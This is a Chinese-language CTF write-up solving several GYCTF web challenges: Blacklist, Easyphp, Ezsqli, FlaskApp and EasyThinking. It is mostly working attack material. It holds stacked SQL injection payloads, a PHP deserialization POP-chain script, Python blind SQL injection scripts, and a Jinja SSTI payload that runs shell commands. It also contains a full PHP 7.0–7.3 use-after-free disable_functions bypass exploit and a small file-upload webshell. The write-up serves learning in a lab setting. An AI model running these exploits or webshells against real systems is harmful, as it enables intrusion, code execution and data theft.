目录:

  1. Blacklist
  2. Easyphp
  3. Ezsqli
  4. FlaskApp
  5. EasyThinking

前言:

这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题。不过还好有buu,在几天后我终于抽出时间来复盘了。

。。由于buu复现的数量有限,所以没办法都写完,只能挑几道会的写一写。那么接下来开始看题吧。

Blacklist

涉及知识点:

(1)堆叠注入

解析:

这一道题很明显参考了强网杯的随便注。只不过过滤的函数增加了。

先看一下有表名。payload: 1';show tables;#

再看一下字段名。 payload:1';show columns from FlagHere;#

之后就是查询flag,但是select,set 甚至 rename 都没了。这里还有一种插叙查询方法使用handler。

学习笔记就放在这里了。

直接构造payload: 1';handler FlagHere open;handler FlagHere read first;#

获得flag

Easyphp

涉及知识点:

(1)POC链的构造

解析:

本来以为这是一道sql注入,没想到有源码的啊。

这里只贴关键代码吧。

update.php

  1. <?php
  2. require_once('lib.php');
  3. echo '<html>
  4. <meta charset="utf-8">
  5. <title>update</title>
  6. <h2>这是一个未完成的页面,上线时建议删除本页面</h2>
  7. </html>';
  8. if ($_SESSION['login']!=1){
  9. echo "你还没有登陆呢!";
  10. }
  11. $users=new User();
  12. $users->update();
  13. if($_SESSION['login']===1){
  14. require_once("flag.php");
  15. echo $flag;
  16. }
  17. ?>

lib.php

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. function safe($parm){
  5. $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
  6. return str_replace($array,'hacker',$parm);
  7. }
  8. class User
  9. {
  10. public $id;
  11. public $age=null;
  12. public $nickname=null;
  13. public function login() {
  14. if(isset($_POST['username'])&&isset($_POST['password'])){
  15. $mysqli=new dbCtrl();
  16. $this->id=$mysqli->login('select id,password from user where username=?'); # id=1 的前提是 token = admin
  17. if($this->id){
  18. $_SESSION['id']=$this->id;
  19. $_SESSION['login']=1;
  20. echo "你的ID是".$_SESSION['id'];
  21. echo "你好!".$_SESSION['token'];
  22. echo "<script>window.location.href='./update.php'</script>";
  23. return $this->id;
  24. }
  25. }
  26. }
  27. public function update(){
  28. $Info=unserialize($this->getNewinfo()); # age nickname 可以自己操控
  29. $age=$Info->age;
  30. $nickname=$Info->nickname;
  31. $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
  32. //这个功能还没有写完 先占坑
  33. }
  34. public function getNewInfo(){
  35. $age=$_POST['age'];
  36. $nickname=$_POST['nickname'];
  37. return safe(serialize(new Info($age,$nickname))); o:{}
  38. }
  39. public function __destruct(){
  40. return file_get_contents($this->nickname);//危
  41. }
  42. }
  43. public function __toString()
  44. {
  45. $this->nickname->update($this->age);
  46. return "0-0";
  47. }
  48. }
  49. class Info{
  50. public $age;
  51. public $nickname;
  52. public $CtrlCase;
  53. public function __construct($age,$nickname){
  54. $this->age=$age;
  55. $this->nickname=$nickname;
  56. }
  57. public function __call($name,$argument){
  58. echo $this->CtrlCase->login($argument[0]); # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
  59. }
  60. }
  61. Class UpdateHelper{
  62. public $id;
  63. public $newinfo;
  64. public $sql;
  65. public function __construct($newInfo,$sql){
  66. $newInfo=unserialize($newInfo);
  67. $upDate=new dbCtrl();
  68. }
  69. public function __destruct()
  70. {
  71. echo $this->sql;
  72. }
  73. }
  74. class dbCtrl
  75. {
  76. public $hostname="127.0.0.1";
  77. public $dbuser="root";
  78. public $dbpass="root";
  79. public $database="test";
  80. public $name;
  81. public $password;
  82. public $mysqli;
  83. public $token;
  84. public function __construct()
  85. {
  86. $this->name=$_POST['username'];
  87. $this->password=$_POST['password'];
  88. $this->token=$_SESSION['token'];
  89. }
  90. public function login($sql)
  91. {
  92. $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
  93. if ($this->mysqli->connect_error) {
  94. die("连接失败,错误:" . $this->mysqli->connect_error);
  95. }
  96. $result=$this->mysqli->prepare($sql);
  97. $result->bind_param('s', $this->name);
  98. $result->execute();
  99. $result->bind_result($idResult, $passwordResult);
  100. $result->fetch();
  101. $result->close();
  102. if ($this->token=='admin') { //从这里返回 前提是 token = admin
  103. return $idResult;
  104. }
  105.  
  106. //不能走下面回
  107. if (!$idResult) {
  108. echo('用户不存在!');
  109. return false;
  110. }
  111. if (md5($this->password)!==$passwordResult) {
  112. echo('密码错误!');
  113. return false;
  114. }
  115. $_SESSION['token']=$this->name;
  116. return $idResult;
  117. }
  118. public function update($sql)
  119. {
  120. //还没来得及写
  121. }
  122. }

这一题在update.php中调用了User类并且调用了update函数,这为我们创造了利用反序列化漏洞的条件。跟进:

  1. public function update(){
  2. $Info=unserialize($this->getNewinfo()); # age nickname 可以自己操控
  3. $age=$Info->age;
  4. $nickname=$Info->nickname;
  5. $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
  6. //这个功能还没有写完 先占坑
  7. }

跟进 getNewinfo() :

  1. public function getNewInfo(){
  2. $age=$_POST['age'];
  3. $nickname=$_POST['nickname'];
  4. return safe(serialize(new Info($age,$nickname)));
  5. }

因为返回结果会经过 safe 函数,所以跟进看一下safe函数:

  1. function safe($parm){
  2. $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
  3. return str_replace($array,'hacker',$parm);
  4. }

很明显,这是在给我们提供拼接反序列化字符串的机会。

之后再看这里新实例化了一个 Info 类,并且 age 和 nickname 都是我们自己可以控制的变量。继续跟进:

  1. class Info{
  2. public $age;
  3. public $nickname;
  4. public $CtrlCase;
  5. public function __construct($age,$nickname){
  6. $this->age=$age;
  7. $this->nickname=$nickname;
  8. }
  9. public function __call($name,$argument){
  10. echo $this->CtrlCase->login($argument[0]); # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
  11. }
  12. }

在 php 的反序列化中魔术方法绝对是我们解题的关键,这题也不例外,在 Info 的 __call 方法中调用了 login 函数,而有两个类中含有这个函数。

User类

  1. public function login() {
  2. if(isset($_POST['username'])&&isset($_POST['password'])){
  3. $mysqli=new dbCtrl();
  4. $this->id=$mysqli->login('select id,password from user where username=?'); # id=1 的前提是 token = admin
  5. if($this->id){
  6. $_SESSION['id']=$this->id;
  7. $_SESSION['login']=1;
  8. echo "你的ID是".$_SESSION['id'];
  9. echo "你好!".$_SESSION['token'];
  10. echo "<script>window.location.href='./update.php'</script>";
  11. return $this->id;
  12. }
  13. }
  14. }

dbCtrl类

  1. public function login($sql)
  2. {
  3. $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
  4. if ($this->mysqli->connect_error) {
  5. die("连接失败,错误:" . $this->mysqli->connect_error);
  6. }
  7. $result=$this->mysqli->prepare($sql);
  8. $result->bind_param('s', $this->name);
  9. $result->execute();
  10. $result->bind_result($idResult, $passwordResult);
  11. $result->fetch();
  12. $result->close();
  13. if ($this->token=='admin') { //从这里返回 前提是 token = admin
  14. return $idResult;
  15. }
  16.  
  17. //不能走下面回
  18. if (!$idResult) {
  19. echo('用户不存在!');
  20. return false;
  21. }
  22. if (md5($this->password)!==$passwordResult) {
  23. echo('密码错误!');
  24. return false;
  25. }
  26. $_SESSION['token']=$this->name;
  27. return $idResult;
  28. }
  29. public function update($sql)
  30. {
  31. //还没来得及写
  32. }
  33. }

审计完上面的代码之后,可以很明显的知道我们要调用的是 dbCtrl 类的 login 。为什么?因为这个方法返回的结果是 sql 查询的结果,并且这个结果是会被输出的(不要小看echo啊!)因此我们可以通过sql查询得到 admin 的密码。但是此时另一个问题就出来了,怎么才能调用 __call 方法?

能打败魔术方法的只有魔术方法(不是,只是这题凑巧了),我们发现在 User 类中有一个 __toString 方法。

  1. public function __toString()
  2. {
  3. $this->nickname->update($this->age);
  4. return "0-0";
  5. }

很明显,只要 nickname 为 Info 类的实例就会触发 Info 类中没有的 update 函数,从而触发 __call 魔术方法。然后继续套娃,怎么调用 __toString 方法。

?UpdateHelper 类中有

  1. public function __destruct()
  2. {
  3. echo $this->sql;
  4. }

不多说了,怎么调用这个方法??(?这不是自动调用吗),并且我们的第一步是创建了这个类的实例的,也就是说我们的poc链接上了。

写脚本:

  1. <?php
  2. class User
  3. {public $age='select password,id from user where username=?'; #注意这里一定是 password 在前
  4. public $nickname=null;
  5. }
  6. class Info
  7. {
  8. public $age;
  9. public $nickname;
  10. public $CtrlCase;
  11. }
  12. class UpdateHelper
  13. {
  14. public $id;
  15. public $newinfo;
  16. public $sql;
  17. }
  18. class dbCtrl
  19. {
  20. public $hostname="127.0.0.1";
  21. public $dbuser="root";
  22. public $dbpass="root";
  23. public $database="test";
  24. public $name = 'admin';
  25. public $password;
  26. public $mysqli;
  27. public $token = 'admin';
  28. }
  29.  
  30. $cioi = new UpdateHelper();
  31. $cioi->sql = new User();
  32. $cioi->sql->nickname = new Info();
  33. $cioi->sql->nickname->CtrlCase = new dbCtrl();
  34.  
  35. $cioier = '";s:1:"a";'.serialize($cioi)."}";
  36. $len = strlen($cioier);
  37. $cioier = str_repeat('union',$len).$cioier;
  38. echo $cioier;
  39.  
  40. ?>

得到password

登录获得flag。

Ezsqli

涉及知识点:

(1)无列名盲注

解析:

测试阶段就不讲了好吧。反正这是一道布尔盲注。但是 or 被过滤了,这说明 information 不能用了,测试了一下 mysql 也不能用,但是 sys 还是可以用的。

  1. 可以用 sys.schema_table_statistics_with_buffer 或者 sys.x$schema_table_statistics_with_buffer 爆表

脚本(当时爆完表名不知道union被过滤怎么无列名注入,就试了一下列名为 flag 的情况,然后就中了?不愧是我)

  1. import requests
  2.  
  3. url = 'http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php'
  4. payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
  5. passwd = ''
  6.  
  7. for i in range(1,80):
  8. low = 0
  9. high = 127
  10.  
  11. while True:
  12. j = int((low + high)/2)
  13. sqlstr = u"0||ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
  14. #sqlstr = u"0||ascii(substr((select flag from f1ag_1s_h3r3_hhhhh),{},1))>{}#"
  15.  
  16. data = {'id':sqlstr.format(str(i),str(j))}
  17. #print(sqlstr.format(str(i),str(low)))
  18.  
  19. ans = requests.post(url,data=data)
  20. if 'Nu1L' in ans.text: #true
  21. if high == low+1:
  22. passwd += chr(high)
  23. print(passwd)
  24. break
  25. low = j
  26.  
  27. if 'Error' in ans.text: #false
  28. if high == low+1:
  29. passwd += chr(low)
  30. print(passwd)
  31. break
  32. high = j
  33.  
  34. print(passwd)
  35. print("error!length is too short!")

结果:

非预期没什么好说的,就猜呗。下面是知道表名之后的预期解。

首先我们需要知道一个知识:

id=0||(select 1,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Error Occured When Fetch Result.(false)

id=0||(select 2,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Nu1L(true)

即两个查询字符串的查询结果是可以比较的,先比较查询结果的第一列,如果第一列出结果,那么返回第一列的结果,如果第一列相等,继续比较第二列。以此类推。

而本题第一列肯定是 1 ,因为测试发现第一列是 1 时结果和第二列的大小有关。

所以我们可以写出以下脚本:

  1. #本脚本是专用于爆破无列名盲注的
  2. import requests
  3.  
  4. #普通爆破的话直接用之前的布尔盲注模板
  5. url = "http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php"
  6. passwd = ''
  7.  
  8. for i in range(1,50):
  9. low = 0
  10. high = 127
  11.  
  12. while True:
  13. j = int((low+high)/2)
  14. sqlstr = "0||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"
  15. if chr(j) == "'":
  16. sqlstr = '0||(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)'
  17.  
  18. data = {"id":sqlstr.format(passwd+str(chr(j)))}
  19.  
  20. resp = requests.post(url=url,data=data)
  21.  
  22. #print(sqlstr.format(passwd+str(chr(j))))
  23. if 'Nu1L' in resp.text: #true
  24. if high == low+1:
  25. passwd = passwd + chr(low)
  26. print(passwd)
  27. break
  28. high = j
  29.  
  30. if 'Error' in resp.text:
  31. if high == low+1:
  32. passwd = passwd + chr(low)
  33. print(passwd)
  34. break
  35. low = j
  36.  
  37. print(passwd.lower()) # 把 flag 中的大写字母转化成小写。需要时用
  38. print("error!length is too short!")    #只是提醒自己结束了

直接跑一遍就可以拿到flag了。

FlaskApp

涉及知识点:

(1)SSTI

解析:

这题是我比赛中做出来的一道题,但是被队友背刺,我太惨了!,,Ծ‸Ծ,,

这题。。就是先base64加密后,再解密时会触发反序列化机制。

测试 {{7+7}} 加密解密后为 

这题虽然过滤了一些东西,但是跟没过滤一样,字符串拼接就绕过了。

这里主要是找可以利用的类 ,发现 warning.catch_warnings 存在,这里写了一个找可利用类的脚本。

  1. import sys
  2.  
  3. array = []
  4.  
  5. def find_class(line,s,c):
  6. if line.find(b'class') > 0:
  7. start = line.find(b'<class',s)
  8. #print(start)
  9. end = line.find(b'>',start)
  10. string = line[start+8:end-1]
  11. #print(string)
  12. array.append(string)
  13. if line.find(b'class',end+1) > 0:
  14. find_class(line,end,c)
  15.  
  16. def create_array():
  17. sys.setrecursionlimit(1000000)
  18. with open('C:/Users/Acer/Desktop/flag.txt','rb') as f:
  19. a = 1
  20. lines = f.readlines()
  21. for line in lines:
  22. #print(line)
  23. find_class(line,0,b'warnings.catch_warnings')
  24. #print(a)
  25.  
  26. def search_class(funcs,fun):
  27. i = 0
  28. for func in funcs:
  29. if fun in func:
  30. print(i)
  31. else:
  32. i = i + 1
  33.  
  34. create_array()
  35. search_class(array,b'warnings.catch_warnings')

..比赛时是 134 。。赵总改了一下现在是 206 。

构造payload: {{[].__class__.__base__.__subclasses__()[206].__init__.__globals__['__buil'+'tins__']['e'+'val']('__im'+'port__("o"+"s").pop'+'en("ca"+"t /this_i"+"s_the_fl"+"ag.txt").read()')}}

获得flag

EasyThinking

涉及知识点:

(1)Thinkphp6.0任意文件操作漏洞

(2)shell命令执行

解析:

这题是真的不会,只能看看师傅们的wp才能维持的了生活的样子。先贴上师傅的wp

首先我爆出了Thinkphp的版本6.0,上网去找漏洞,找到了上面贴的漏洞。

还行,尝试利用漏洞(就像上面链接说的一样,构造一个32位的php文件名)

在搜索处输入要注入的php代码。如:

发现过滤的函数有点多,以至于我们的蚁剑无法执行系统命令。之后用 <?php var_dump(scandir('/')); ?> 发现根目录下有

然后就不会了,师傅给了一个可以执行系统命令的脚本。

  1. <?php
  2.  
  3. # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
  4. #
  5. # Bug: https://bugs.php.net/bug.php?id=72530
  6. #
  7. # This exploit should work on all PHP 7.0-7.3 versions
  8. #
  9. # Author: https://github.com/mm0r1
  10.  
  11. pwn("/readflag"); //这里是想要执行的系统命令
  12.  
  13. function pwn($cmd) {
  14. global $abc, $helper;
  15.  
  16. function str2ptr(&$str, $p = 0, $s = 8) {
  17. $address = 0;
  18. for($j = $s-1; $j >= 0; $j--) {
  19. $address <<= 8;
  20. $address |= ord($str[$p+$j]);
  21. }
  22. return $address;
  23. }
  24.  
  25. function ptr2str($ptr, $m = 8) {
  26. $out = "";
  27. for ($i=0; $i < $m; $i++) {
  28. $out .= chr($ptr & 0xff);
  29. $ptr >>= 8;
  30. }
  31. return $out;
  32. }
  33.  
  34. function write(&$str, $p, $v, $n = 8) {
  35. $i = 0;
  36. for($i = 0; $i < $n; $i++) {
  37. $str[$p + $i] = chr($v & 0xff);
  38. $v >>= 8;
  39. }
  40. }
  41.  
  42. function leak($addr, $p = 0, $s = 8) {
  43. global $abc, $helper;
  44. write($abc, 0x68, $addr + $p - 0x10);
  45. $leak = strlen($helper->a);
  46. if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
  47. return $leak;
  48. }
  49.  
  50. function parse_elf($base) {
  51. $e_type = leak($base, 0x10, 2);
  52.  
  53. $e_phoff = leak($base, 0x20);
  54. $e_phentsize = leak($base, 0x36, 2);
  55. $e_phnum = leak($base, 0x38, 2);
  56.  
  57. for($i = 0; $i < $e_phnum; $i++) {
  58. $header = $base + $e_phoff + $i * $e_phentsize;
  59. $p_type = leak($header, 0, 4);
  60. $p_flags = leak($header, 4, 4);
  61. $p_vaddr = leak($header, 0x10);
  62. $p_memsz = leak($header, 0x28);
  63.  
  64. if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
  65. # handle pie
  66. $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  67. $data_size = $p_memsz;
  68. } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
  69. $text_size = $p_memsz;
  70. }
  71. }
  72.  
  73. if(!$data_addr || !$text_size || !$data_size)
  74. return false;
  75.  
  76. return [$data_addr, $text_size, $data_size];
  77. }
  78.  
  79. function get_basic_funcs($base, $elf) {
  80. list($data_addr, $text_size, $data_size) = $elf;
  81. for($i = 0; $i < $data_size / 8; $i++) {
  82. $leak = leak($data_addr, $i * 8);
  83. if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
  84. $deref = leak($leak);
  85. # 'constant' constant check
  86. if($deref != 0x746e6174736e6f63)
  87. continue;
  88. } else continue;
  89.  
  90. $leak = leak($data_addr, ($i + 4) * 8);
  91. if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
  92. $deref = leak($leak);
  93. # 'bin2hex' constant check
  94. if($deref != 0x786568326e6962)
  95. continue;
  96. } else continue;
  97.  
  98. return $data_addr + $i * 8;
  99. }
  100. }
  101.  
  102. function get_binary_base($binary_leak) {
  103. $base = 0;
  104. $start = $binary_leak & 0xfffffffffffff000;
  105. for($i = 0; $i < 0x1000; $i++) {
  106. $addr = $start - 0x1000 * $i;
  107. $leak = leak($addr, 0, 7);
  108. if($leak == 0x10102464c457f) { # ELF header
  109. return $addr;
  110. }
  111. }
  112. }
  113.  
  114. function get_system($basic_funcs) {
  115. $addr = $basic_funcs;
  116. do {
  117. $f_entry = leak($addr);
  118. $f_name = leak($f_entry, 0, 6);
  119.  
  120. if($f_name == 0x6d6574737973) { # system
  121. return leak($addr + 8);
  122. }
  123. $addr += 0x20;
  124. } while($f_entry != 0);
  125. return false;
  126. }
  127.  
  128. class ryat {
  129. var $ryat;
  130. var $chtg;
  131.  
  132. function __destruct()
  133. {
  134. $this->chtg = $this->ryat;
  135. $this->ryat = 1;
  136. }
  137. }
  138.  
  139. class Helper {
  140. public $a, $b, $c, $d;
  141. }
  142.  
  143. if(stristr(PHP_OS, 'WIN')) {
  144. die('This PoC is for *nix systems only.');
  145. }
  146.  
  147. $n_alloc = 10; # increase this value if you get segfaults
  148.  
  149. $contiguous = [];
  150. for($i = 0; $i < $n_alloc; $i++)
  151. $contiguous[] = str_repeat('A', 79);
  152.  
  153. $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
  154. $out = unserialize($poc);
  155. gc_collect_cycles();
  156.  
  157. $v = [];
  158. $v[0] = ptr2str(0, 79);
  159. unset($v);
  160. $abc = $out[2][0];
  161.  
  162. $helper = new Helper;
  163. $helper->b = function ($x) { };
  164.  
  165. if(strlen($abc) == 79 || strlen($abc) == 0) {
  166. die("UAF failed");
  167. }
  168.  
  169. # leaks
  170. $closure_handlers = str2ptr($abc, 0);
  171. $php_heap = str2ptr($abc, 0x58);
  172. $abc_addr = $php_heap - 0xc8;
  173.  
  174. # fake value
  175. write($abc, 0x60, 2);
  176. write($abc, 0x70, 6);
  177.  
  178. # fake reference
  179. write($abc, 0x10, $abc_addr + 0x60);
  180. write($abc, 0x18, 0xa);
  181.  
  182. $closure_obj = str2ptr($abc, 0x20);
  183.  
  184. $binary_leak = leak($closure_handlers, 8);
  185. if(!($base = get_binary_base($binary_leak))) {
  186. die("Couldn't determine binary base address");
  187. }
  188.  
  189. if(!($elf = parse_elf($base))) {
  190. die("Couldn't parse ELF header");
  191. }
  192.  
  193. if(!($basic_funcs = get_basic_funcs($base, $elf))) {
  194. die("Couldn't get basic_functions address");
  195. }
  196.  
  197. if(!($zif_system = get_system($basic_funcs))) {
  198. die("Couldn't get zif_system address");
  199. }
  200.  
  201. # fake closure object
  202. $fake_obj_offset = 0xd0;
  203. for($i = 0; $i < 0x110; $i += 8) {
  204. write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  205. }
  206.  
  207. # pwn
  208. write($abc, 0x20, $abc_addr + $fake_obj_offset);
  209. write($abc, 0xd0 + 0x38, 1, 4); # internal func type
  210. write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
  211.  
  212. ($helper->b)($cmd);
  213.  
  214. exit();
  215. }

但是这个马明显太长了,怎么办?自己做一个可以上传的小马。(一定要记住 要加 ?act=godsdoor )

  1. <?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
  2. ?>

然后利用小马上传大马。

获得flag

GYCTF Web区部分WP的更多相关文章

  1. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  2. bugkuctf web区 sql2

    来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬) 在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archiv ...

  3. 编程之路-client学习知识点纲要(Web/iOS/Android/WP)

    Advanced:高级内容 Architect:架构设计 Core:框架底层原理分析 Language:框架经常使用语言 Objective-C Dart Swift Java Network:网络 ...

  4. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  5. bugkuctf web区 多次

    首先看到以下url : 发现这是一个基于布尔类型的盲注. true: false: 根据这两种类型可以进行注入.废话不多说,直接进行尝试. 构造 url = index.php?id=1' or 1= ...

  6. bugku web 本地访问 wp

    打开网站之后 使用burp抓包 修改添加Client-ip: 127.0.0.1 flag{85ff2ee4171396724bae20c0bd851f6b}

  7. Web Deploy 发布网站错误 检查授权和委派设置

    Web Deploy发布ASP.NET网站给我们提供方便,配置好后可以很方便地发布网站到IIS服务器. 自安装Web Deploy一年以来,一直都用得好好地. 直到最近,Gitlab-CI自动发布出了 ...

  8. java,swift,oc互相转换,html5 web开发跨平台

    java,swift,oc互相转换,html5 web开发跨平台 写一个java->swift的程序,这个程序是做跨平台系统的核心部分swift和oc到java也在考虑之列Swift->J ...

  9. asp.net简述WP开发模式

    详情请参考菜鸟教程:http://www.runoob.com/aspnet/aspnet-tutorial.html 1.ASP.NET 是一个使用 HTML.CSS.JavaScript 和服务器 ...

随机推荐

  1. js数组方法(管饱)

    有一些数组方法是ECMAScript新增的,一定要注意浏览器的兼容!! Array对象属性: 属性 说明 constructor 返回对创建此对象的函数引用 length 返回集合内的元素的所有长度 ...

  2. absolute与relative 的超越

    relative 超越了自身而已,所有位置的变化是相对于正常流下自身的表现而言 absolute  超越了父容器,位置信息是基于父容器的位置而言

  3. JS缓冲运动案例

    点击"向右"按钮,红色的#red区块开始向右缓冲运动,抵达到黑色竖线位置自动停止,再次点击"向右"#red区块也不会再运动.点击"向左"按钮 ...

  4. linux netfilter ----iptable_filter

    内核中将filter模块被组织成了一个独立的模块,每个这样独立的模块中都有个类似的init()初始化函数:首先来看一下filter模块是如何将自己的钩子函数注册到netfilter所管辖的几个hook ...

  5. socket套接字(字节序、地址转换)

    什么是socket: socket可以看成是用户进程与内核网络协议栈的编程接口. socket不仅可以用于本机的进程间通信,还可以用于网络上 不同主机之间的进程通信.IPv4套接口地址结构 struc ...

  6. xenserver使用ceph的rbd的方法

    首先安装的xenserver6.5的环境,看到有地方有提到这个上面可以安装rbd的支持,网上有一种方式是libvirt+kvm方式,因为ceph对libviet是原生支持的,但是xenserver底层 ...

  7. ubuntu使用iso作为本地源

    方式一(路径不要改): 挂载光驱到到本地的指定目录 mount /dev/cdrom /media/cdrom 然后执行: apt-cdrom -m -d /media/cdrom add 会写配置文 ...

  8. 微信公众号平台Url Token EncodingAESKey 注意点

    最近公司让我开发微信公众号平台扫码登录,同步用户信息于PC端,所做的过程当中遇到了一些坑,做完了就总结一下需要注意的点,如若大家开发过程中遇到同样的问题,可以借鉴! 第一:配置域名 作用:配置域名为了 ...

  9. 每天一个linux命令之stat

    [Linux]Linux下使用stat命令所显示出来的三个时间 转 https://blog.csdn.net/pointer_y/article/details/54347968 在linux系统下 ...

  10. 死磕以太坊源码分析之rlpx协议

    死磕以太坊源码分析之rlpx协议 本文主要参考自eth官方文档:rlpx协议 符号 X || Y:表示X和Y的串联 X ^ Y: X和Y按位异或 X[:N]:X的前N个字节 [X, Y, Z, ... ...